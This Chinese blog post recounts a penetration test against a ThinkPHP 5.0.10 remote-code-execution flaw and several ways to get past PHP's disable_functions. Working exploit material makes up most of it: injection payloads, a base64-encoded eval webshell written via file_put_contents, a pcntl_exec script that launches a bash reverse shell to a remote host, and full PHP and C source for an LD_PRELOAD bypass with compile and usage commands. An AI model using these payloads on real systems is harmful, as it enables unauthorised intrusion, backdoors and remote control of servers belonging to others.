一次项目中Thinkphp绕过禁用函数的实战记录


Posted in PHP onNovember 17, 2021

前言

在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray

果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞

直接使用命令执行payload,结果报出system函数被禁用

s=whoami&_method=__construct&method=&filter[]=system

一次项目中Thinkphp绕过禁用函数的实战记录

尝试应用其他函数进行利用,经过测试发现call_user_func函数没有被禁用
Payload

s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

可以看到哪些函数被禁用了

一次项目中Thinkphp绕过禁用函数的实战记录

看到assert和include没有被禁用,一开始想写shell进日志然后去利用文件包含,发现并没有任何反应,也不报错。

file_put_contents

又回去看被禁用的函数,发现文件函数没被禁用,可以用file_put_contents函数去写文件
测试写入phpinfo文件

s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

一次项目中Thinkphp绕过禁用函数的实战记录

写入成功

一次项目中Thinkphp绕过禁用函数的实战记录

写入冰蝎马可以进行文件管理了

一次项目中Thinkphp绕过禁用函数的实战记录

虽然可以进行文件操作了,但还是没法执行命令

一次项目中Thinkphp绕过禁用函数的实战记录

pcntl_exec

想到了比较容易被忽略的命令执行函数pcntl_exec,发现pcntl_exec函数没有被禁用,该函数可以指定一个程序来执行指定文件

先写一个exe.php文件,在文件中指定pcntl_exec的参数(执行运行程序,运行指定文件)

<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

exec.sh文件写入反弹命令

bash -i >& /dev/tcp/vpsip/7777 0>&1

浏览器访问exe.php成功反弹shell

一次项目中Thinkphp绕过禁用函数的实战记录

LD_PRELOAD 劫持

这次渗透是结束了,这里尝试了另外一种绕过方法,如果遇到pcntl_exec函数也被禁用的情况,可以利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。详细的原理介绍就不赘述了,可以参考这个大哥的文章https://www.meetsec.cn/index.php/archives/44/

这种方法主要是需要上传一个.php和一个由.c程序编译得到共享对象.so文件到服务器

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
?>

bypass_disablefunc.php提供了三个参数:

  1. cmd 参数,待执行的系统命令(如 whoami)。
  2. outpath 参数,保存命令执行输出结果的文件路径(如 /www/wwwroot/public),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
  3. sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /www/wwwroot/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它,最好也传到web根目录下。

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

这里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so将 bypass_disablefunc.c编译为共享对象 bypass_disablefunc_x64.so

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这里利用之前的文件管理冰蝎shell将php和so文件上传到服务器web目录
在浏览器访问bypass_disablefunc.php传入参数

http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so

成功执行命令

一次项目中Thinkphp绕过禁用函数的实战记录

总结

到此这篇关于一次项目中Thinkphp绕过禁用函数的文章就介绍到这了,更多相关Thinkphp绕过禁用函数内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
php表单转换textarea换行符的方法
Sep 10 PHP
用PHP的超级变量$_POST获取HTML表单(HTML Form) 数据
May 07 PHP
解析PHP跳出循环的方法以及continue、break、exit的区别介绍
Jul 01 PHP
浅析php过滤html字符串,防止SQL注入的方法
Jul 02 PHP
PHP数据过滤的方法
Oct 30 PHP
一个经典实用的PHP图像处理类分享
Nov 18 PHP
php中删除、清空session的方式总结
Oct 09 PHP
PHP中的switch语句的用法实例详解
Oct 21 PHP
php基于Fleaphp框架实现cvs数据导入MySQL的方法
Feb 23 PHP
Linux平台PHP5.4设置FPM线程数量的方法
Nov 09 PHP
PHP基于ICU扩展intl快速实现汉字转拼音及按拼音首字母分组排序的方法
May 03 PHP
PHP 自动加载类原理与用法实例分析
Apr 14 PHP
php修改word的实例方法
Nov 17 #PHP
PHP获取学生成绩的方法
Nov 17 #PHP
php去除deprecated的实例方法
Nov 17 #PHP
php去除数组中为0的元素的实例分析
Nov 17 #PHP
tp5使用layui实现多个图片上传(带附件选择)的方法实例
php png失真的原因及解决办法
Nov 17 #PHP
php实例化对象的实例方法
Nov 17 #PHP
You might like
PHP+Redis链表解决高并发下商品超卖问题(实现原理及步骤)
2020/08/03 PHP
php使用Swoole实现毫秒级定时任务的方法
2020/09/04 PHP
JavaScript入门教程(9) Document文档对象
2009/01/31 Javascript
模仿JQuery.extend函数扩展自己对象的js代码
2009/12/09 Javascript
兼容IE与firefox火狐的回车事件(js与jquery)
2010/10/20 Javascript
SwfUpload在IE10上不出现上传按钮的解决方法
2013/06/25 Javascript
使用JS获取当前地理位置方法汇总
2014/12/18 Javascript
浅谈javascript的调试
2015/01/28 Javascript
JS闭包与延迟求值用法示例
2016/12/22 Javascript
从零学习node.js之express入门(六)
2017/02/25 Javascript
Vue.js tab实现选项卡切换
2017/05/16 Javascript
javascript兼容性(实例讲解)
2017/08/15 Javascript
angular4实现tab栏切换的方法示例
2017/10/21 Javascript
layui时间控件选择时间范围的实现方法
2019/09/28 Javascript
python使用sorted函数对列表进行排序的方法
2015/04/04 Python
用Python中的字典来处理索引统计的方法
2015/05/05 Python
详解Django中Request对象的相关用法
2015/07/17 Python
Django实现登录随机验证码的示例代码
2018/06/20 Python
pandas实现将日期转换成timestamp
2019/12/07 Python
解决Windows下python和pip命令无法使用的问题
2020/08/31 Python
HTML5离线应用与客户端存储的实现
2018/05/03 HTML / CSS
新西兰领先的鞋类和靴子网上商城:Merchant 1948
2017/09/08 全球购物
北美女性服装零售连锁店:maurices
2019/06/12 全球购物
GOLFINO英国官网:高尔夫服装
2020/04/11 全球购物
经典c++面试题六
2012/01/18 面试题
工商技校毕业生自荐信
2013/11/15 职场文书
写好自荐信需做到的5要点
2014/03/07 职场文书
三好学生先进事迹材料
2014/08/28 职场文书
机动车登记业务委托书
2014/10/08 职场文书
领导干部作风建设剖析材料
2014/10/11 职场文书
五年级小学生评语
2014/12/26 职场文书
村党组织公开承诺书
2015/04/30 职场文书
教育教学读书笔记
2015/07/02 职场文书
JavaScript函数柯里化
2021/11/07 Javascript
MySQL数据库索引的最左匹配原则
2021/11/20 MySQL
mysql sum(if())和count(if())的用法说明
2022/01/18 MySQL